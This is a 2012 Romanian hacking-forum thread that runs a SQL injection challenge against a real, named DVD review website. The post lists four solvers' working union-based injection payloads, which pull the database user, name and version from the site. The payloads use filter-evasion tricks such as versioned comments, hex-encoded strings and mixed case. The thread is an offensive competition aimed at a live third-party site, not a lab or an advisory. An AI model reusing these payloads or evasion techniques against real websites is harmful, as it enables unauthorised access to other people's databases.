[Medium/Hard/Tricky] SQLi

[neo.hapsis]

[+] Target : AV Maniacs, DVD Maniacs, DVD News, DVD Reviews, Movies

[+] Metoda : Union Based + tricky

[+] Cerinte :Nickul tau,User(),Database(),Version()

[+] Tricky :sintaxele sa-le puneti cu culorile tarii

[+] Proof :

PM cu sintaxele

Ideea de tabel luat de la Wubi.

SUCCES TUTUROR COMPETITORILOR!

[table=width: 800, class: grid, align: left]

[tr]

[td]Solvers[/td]

[td]Syntax (dupa inchiderea challengului)[/td]

[/tr]

[tr]

[td]Sweby[/td]

[td]-1598+/*!50000UNION*/+/*!50000SELECT*/+0x5377656279,CONCAT_WS%28CHAR%2832,58,32%29,0x3c666f6e7420636f6c6f723d22726564223e,version%28%29,0x3c2f666f6e743e%29,CONCAT_WS%28CHAR%2832,58,32%29,0x3c666f6e7420636f6c6f723d2279656c6c6f77223e,user%28%29,0x3c2f666f6e743e%29,CONCAT_WS%28CHAR%2832,58,32%29,0x3c666f6e7420636f6c6f723d22626c7565223e,database%28%29,0x3c2f666f6e743e%29,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27--+[/td]

[/tr]

[tr]

[td]klow[/td]

[td]-1472 +/*!50000UnIoN*/ /*!50000SeLeCt aLl*/+ 0x6b6c3077,/**//*!12345cOnCat*/(0x3c666f6e7420636f6c6f723d7265643e,user()),/**//*!12345cOnCat*/(0x3c666f6e7420636f6c6f723d79656c6c6f773e,version()),/**//*!12345cOnCat*/(0x3c666f6e7420636f6c6f723d626c75653e,database()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27--[/td]

[/tr]

[tr]

[td]Wubi[/td]

[td]-1434/**//*!50000UNION SELECT*//**/1,/*!50000cOnCat*/(/*!0x3c666f6e7420636f6c6f723d22726564223e*/,/*!Version()*/),/*!50000cOnCat*/(/*!0x3c666f6e7420636f6c6f723d2279656c6c6f77223e*/,/*!Database()*/),/*!50000cOnCat*/(/*!0x3c666f6e7420636f6c6f723d22626c7565223e*/,/*!User()*/),unhex(hex(0x6d75696520736865796b656e21)),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27--+[/td]

[/tr]

[tr]

[td]Trykton[/td]

[td]-1472 union (select 0x547279746b6f6e,user(),database(),version(),@@datadir,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27)--[/td]

[/tr]

[tr]

[td][/td]

[td][/td]

[/tr]

[/table]

Edited October 8, 2012 by neo.hapsis

[Sweby]

[kl0w]

easy.

Edited October 7, 2012 by kl0w

[Trykton]

[Wubi]

[neo.hapsis]

Replies: 4

Views: 167

Challenge-ul s-a terminat iar sintaxele au fost actualizate.